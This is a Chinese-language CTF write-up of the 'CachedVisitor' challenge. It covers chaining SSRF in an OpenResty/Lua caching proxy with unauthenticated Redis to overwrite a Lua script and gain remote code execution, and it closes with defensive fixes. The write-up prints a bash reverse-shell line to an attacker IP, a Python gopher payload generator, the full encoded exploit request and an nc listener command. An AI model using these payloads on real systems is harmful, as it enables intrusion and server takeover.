软件系统安全赛CachedVisitor详解——记一次对Redis+ssrf的详细分析
字数 1560 2025-08-22 12:22:54
Redis+SSRF漏洞利用详解:基于CachedVisitor案例的分析与实战
1. 环境分析
1.1 Dockerfile解析
从提供的Dockerfile中,我们可以提取出以下关键信息:
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
RUN mkdir /scripts
COPY scripts/* /scripts
RUN chmod +x -R /scripts
COPY redis.conf /redis.conf
COPY start.sh /
RUN chmod +x /start.sh
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
关键点:
- 使用OpenResty作为Web服务器
- 配置了Lua脚本
main.lua作为主要处理逻辑 - 将
scripts目录下的文件复制到/scripts并赋予执行权限 - 包含Redis服务配置
- 设置了flag文件权限为只读(400)
readflag程序设置了SUID位(+xs)
1.2 Lua脚本分析
main.lua脚本的主要功能:
local function read_file(filename)
[……]
end
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
-- 执行匹配到的Lua代码
end
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
关键点:
- 从
/scripts/visit.script读取文件内容 - 提取
##LUA_START##和##LUA_END##之间的Lua代码并执行 - 这是一个典型的动态执行外部脚本的设计,存在潜在安全风险
2. visit.script分析
visit.script文件内容:
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
ngx.say("URL parameter is missing!")
return
end
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)
local ok, err = pcall(c.perform, c)
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
local response_str = table.concat(response_body)
local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
ngx.say(response_str)
##LUA_END##
关键功能:
- 从URL参数获取
url参数 - 尝试连接本地Redis(127.0.0.1:6379)
- 先在Redis中查询该URL对应的缓存
- 如果没有缓存,则使用cURL访问该URL
- 将响应结果存入Redis并设置1小时过期时间
- 返回响应内容
漏洞点:
- 未对
url参数进行任何过滤或验证 - 允许使用任意协议(包括
gopher://,dict://等) - Redis服务暴露在本地且无认证
3. 漏洞利用:SSRF+Redis攻击链
3.1 攻击思路
- 通过SSRF访问本地Redis服务
- 利用Redis协议注入恶意Lua代码
- 覆盖
/scripts/visit.script文件 - 触发恶意代码执行
3.2 攻击步骤详解
步骤1:验证Redis服务
使用dict协议验证Redis服务是否开放:
http://target/visit?url=dict://127.0.0.1:6379/info
步骤2:构造Redis协议攻击载荷
使用Gopher协议构造Redis命令序列,关键命令:
flushall- 清空Redis数据set- 设置键值对(存储恶意Lua代码)config set dir- 设置Redis持久化目录config set dbfilename- 设置持久化文件名save- 保存数据到磁盘
恶意Lua代码示例:
io.popen("bash -c 'bash -i >& /dev/tcp/attacker-ip/port 0>&1'")
步骤3:生成Gopher URL
使用Python脚本生成攻击URL:
import urllib.parse
content = """\n\n##LUA_START##\nio.popen("bash -c 'bash -i >& /dev/tcp/8.217.118.198/7897 0>&1'")\n##LUA_END##\n\n"""
len_content = len(content) + 4 # 有content上下有4个换行
dir = "/scripts"
filename = "visit.script"
payload = f"""*1\r$8\rflushall\r*3\r$3\rset\r$1\r8\r${str(len_content)}\r{content}\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r${str(len(dir))}\r{dir}\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r${str(len(filename))}\r{filename}\r*1\r$4\rsave\r"""
result = urllib.parse.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")
print("gopher%3A//127.0.0.1%3A6379/_"+result)
步骤4:发送攻击请求
构造HTTP请求:
GET /visit?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A8%250D%250A%252499%250D%250A%250A%250A%250A%250A%2523%2523LUA_START%2523%2523%250Aio.popen%2528%2522bash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/8.217.118.198/7897%25200%253E%25261%2527%2522%2529%250A%2523%2523LUA_END%2523%2523%250A%250A%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25248%250D%250A/scripts%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252412%250D%250Avisit.script%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
注意:
- 在Burp Suite中需要对payload进行二次URL编码
- 攻击者需提前监听指定端口(nc -lvnp 7897)
步骤5:触发反弹Shell
再次访问/visit端点触发恶意脚本执行:
GET /visit?url=111
4. 防御措施
4.1 修复SSRF漏洞
- 对URL参数进行严格验证:
- 限制协议类型(只允许http/https)
- 验证目标主机和端口
- 使用白名单机制
local allowed_protocols = { "http", "https" }
local parsed = ngx.re.match(url, "^(https?)://([^/]+)")
if not parsed or not table.contains(allowed_protocols, parsed[1]) then
ngx.say("Invalid URL protocol")
return
end
- 禁用危险协议:
- 在OpenResty配置中禁用
gopher,dict,file等协议
- 在OpenResty配置中禁用
4.2 Redis安全配置
-
启用Redis认证:
- 在redis.conf中设置
requirepass
- 在redis.conf中设置
-
限制Redis绑定:
- 只绑定必要接口
bind 127.0.0.1
- 只绑定必要接口
-
禁用危险命令:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command SAVE ""
4.3 文件操作安全
-
限制脚本目录权限:
RUN chmod 750 /scripts RUN chown root:root /scripts/* -
禁用动态代码执行:
- 避免从文件读取并执行动态代码
- 如需此功能,应实现签名验证机制
5. 总结
本案例展示了如何利用SSRF漏洞结合Redis未授权访问实现远程代码执行。关键点包括:
- 未过滤的URL参数导致SSRF
- Redis未授权访问允许任意命令执行
- 通过Redis持久化机制覆盖Lua脚本文件
- 动态代码执行功能放大了攻击影响
防御此类攻击需要多层防护:
- 输入验证
- 服务最小权限原则
- 危险功能禁用
- 安全配置检查